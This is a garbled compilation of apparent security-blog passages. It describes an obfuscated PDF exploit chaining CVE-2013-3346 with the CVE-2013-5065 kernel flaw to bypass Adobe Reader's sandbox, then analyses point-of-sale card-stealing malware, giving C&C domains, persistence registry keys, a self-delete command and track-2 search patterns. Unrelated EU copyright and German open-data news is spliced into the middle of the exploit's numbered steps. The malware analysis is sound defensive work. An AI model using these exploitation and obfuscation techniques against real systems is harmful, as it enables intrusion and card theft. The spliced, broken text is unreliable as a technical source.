        // Q={___:"0", $$$$:"f", __$:"1", $_$_:"a", _$_:"2", $_$$:"b", $$_$:"d", _$$:"3", $$$_:"e", $__:"4", $_$:"5", $$__:"c", $$_:"6", $$$:"7", $___:"8", $__$:"9" };



        Then, using the dictionary and other built-in strings, it builds more JavaScript code as follows:

        // Q.$_ = "constructor"

        Q.$_= /*c*/(Q.$_=Q+"")[Q.$_$]+ // Q.$_ = the string "[object Object]"

        /*o*/(Q._$=Q.$_[Q.__$])+ // by indexing into Q.$_

        /*n*/(Q.$$=(Q.$+"")[Q.__$])+ // by indexing into the string "undefined"

        /*s*/((!Q)+"")[Q._$$]+ // and so on...








        It goes on to acquire a reference to the Function object by accessing "".constructor.constructor and calling the exploit code by Function("the deobfuscated script")(). The end result is an entirely indigestible script. Yuck!

        The "".constructor.constructor trick is clever. While shortening the obfuscated script, it gets around Function hooks implemented within the JavaScript environment (that is, by “Function = _Function_hook;”).

        Sandbox Bypass

        Although the Adobe Reader sandbox for Windows XP has fewer restrictions compared to sandboxes in Windows 7, 8, and 8.1, it still has restricted tokens, limited Job settings, broker processes, and protection policies.

        The difference is that the Windows integrity mechanism is not available in Windows XP. So the sandboxed process does not run in low-integrity mode.

        But it still must bypass the sandbox protection on Windows XP to run privileged malicious code. As the following screenshot shows, the sandboxed process is not allowed to create a file in the currently logged in user’s desktop:


        Figure 1: Sandboxing protection in Windows XP

        In this case, the attacker exploits the NDProxy.sys vulnerability to obtain a higher privilege and bypass the Adobe sandbox protections.


        For this kernel exploit (CVE-2013-5065), the attacker uses Windows’ NtAllocateVirtualMemory() routine to map shellcode to the null page. So enabling null-page protection in Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) prevents exploitation. You can also follow the workaround posted on Microsoft’s TechNet blog or upgrade to a newer version of Windows (Vista, 7, 8, or 8.1).

        Finally, updating Adobe Reader stops the in-the-wild malware sample by patching the CVE-2013-3346 vulnerability.


        The CVE-2013-3346/5065 vulnerability works as follows:

        1. The ROP chain and shellcode are sprayed to memory from JavaScript
        2. CVE-2013-3346 UAF is triggered from JavaScript
        3. The freed ToolButton object is overwritten with the address of the pivot in JavaScript
        4. The pivot is executed, and the stack pointer is set to the ROP sled
        5. The ROP allocates shellcode in RWX memory and jumps to it
        6. The shellcode stub (Stage 2.1) is copied to the null page (RWX)
        7. The shellcode triggers CVE_2013-5065 to call Stage 2.1 from the kernel
        8. Stage 2.1 elevates privilege of the Adobe Reader process
        9. Back to usermode, the PE payload is decoded from the PDF stream to a temp directory
        10. The PE payload executes
        11. EU – Public consultation on the review of the EU copyright rules

          The Euopean Commission has lauched a public consultation on the review of the EU copyright rules. All stakeholders are welcome to contribute to this consultation. Contributions are particularly sought from consumers, users, authors, performers, publishers, producers, broadcasters, intermediaries, distributors and other service providers, Collective Management Organisations, public authorities and Member States.

          Open data and German coalition agreement – a step forward

          The new German coalition agreement- all 185 pages – is available online. It is currently being voted on by SPD members. It includes a number of references to open data which constitute a step forward in the degree of visibility and political commitment at federal level in Germany:
          • Public sector data – p. 153

            The first open data projects in Germany demonstrate the potential of open data. The Federal administration with all its agencies must be a pioneer, on the basis of a law, for the provision of open data in standardized machine-readable formats and under free licence conditions. We want to provide an open data portal for federal, state and local governments. The coalition seeks to achieve Germany's accession to the international Open Government Partnership initiative.

          • Scientific information – p. 134

            We will develop a comprehensive open access strategy that improves the general conditions for an effective and permanent access to publicly funded publications and also to data (open data)

          • Transport data – p.44

            Our goal is a sustainable mobility culture and a user-friendly network of different modes of transport. We encourage multi-modal data platforms on an open-data basis containing information on mobility services, congestion, delays and schedule data. With the networking of transport information and ticketing systems people can be provided with innovative digital mobility services.

          • Bundestag proceedings – p. 152

            We want to expand digital coverage of the Bundestag and its meetings and of committee meetings and public hearings (e.g. by streaming). As soon as possible we will provide publications such as printed materials and minutes in open-data compatible formats under free licence conditions.

          Win32/Spy.POSCardStealer.O and unknown POS Sniffer

          Finally some new stuff (hmm, no)
          Let's talk about Win32/Spy.POSCardStealer.O identified by ESET.
          It's pretty lame but let's see it anyway.

          On the first procedure the malware will register a reg key in HKLM with 'HDebugger'

          And start to search for track2:

          Then he call the C&C (
          • dns: 1 ›› ip: - adresse: HOQOU.SU

          Do a sleep of 120000 ms (2 minutes):

          And redo into the track2 research procedure.
          When finaly something is found the malware took the PID of the program, the process name and the mem adress:
          Then he send it to the C&C...

          POST req example:

          This malware can't receive orders, and don't have a special mechanism.
          On another sample, i've found another domain:
          • dns: 1 ›› ip: - adresse: ROLEX216.8S.NL

          This malware was downloaded from a downloader who now download another malware who brute force wordpress sites (maybe i will talk about this one soon).

          Still with POS Malware a 'new' threat (Detected only with generic signatures) appeared.

          I got this sample since august from a guys who found this on his POS systems.
          In 3 months there is still no one who have do an accurate signature.

          At first he will create two directories 'System\Hidden' inside %APPDATA%\Microsoft\Windows

          Do a directory test to know from where the executable is launched:

          Copy the EXE and launch the copy:

          A registry key "Svchost-Windows-Redquired" is created for persistence

          Enter in a procedure to remove the original file:
          /c del C:\DOCUME~1\ADMINI~1\Bureau\svchost.exe >> NUL
          And as excepted send a exit code just after...

          So what's do the fresh copy inside the 'good' folder ?
          Firstly he take the jump due to the directory test.

          On the procedure he will compute a string based on GetSystemFileTime, then he start to enumerate process.
          He will open them one by one, read the memory and look for track 2 in a subroutine.
          Usual stuff.
          They search by partern from the second part of tracks 2 '=13' '=14' '=15' etc..

          A file 'Sys.dll' is created:
          timestamped with
          And wrote:

          Do a sleep of 450000 ms (7 1/2 minutes)

          if a dump is found the dump is encoded:
          And wrote in Sys.dll.

          Then they are sent one by one to the C&C:

          The md5 hash '8edf4bc26f9c526ff846c9068f387dac' is 'zabeat'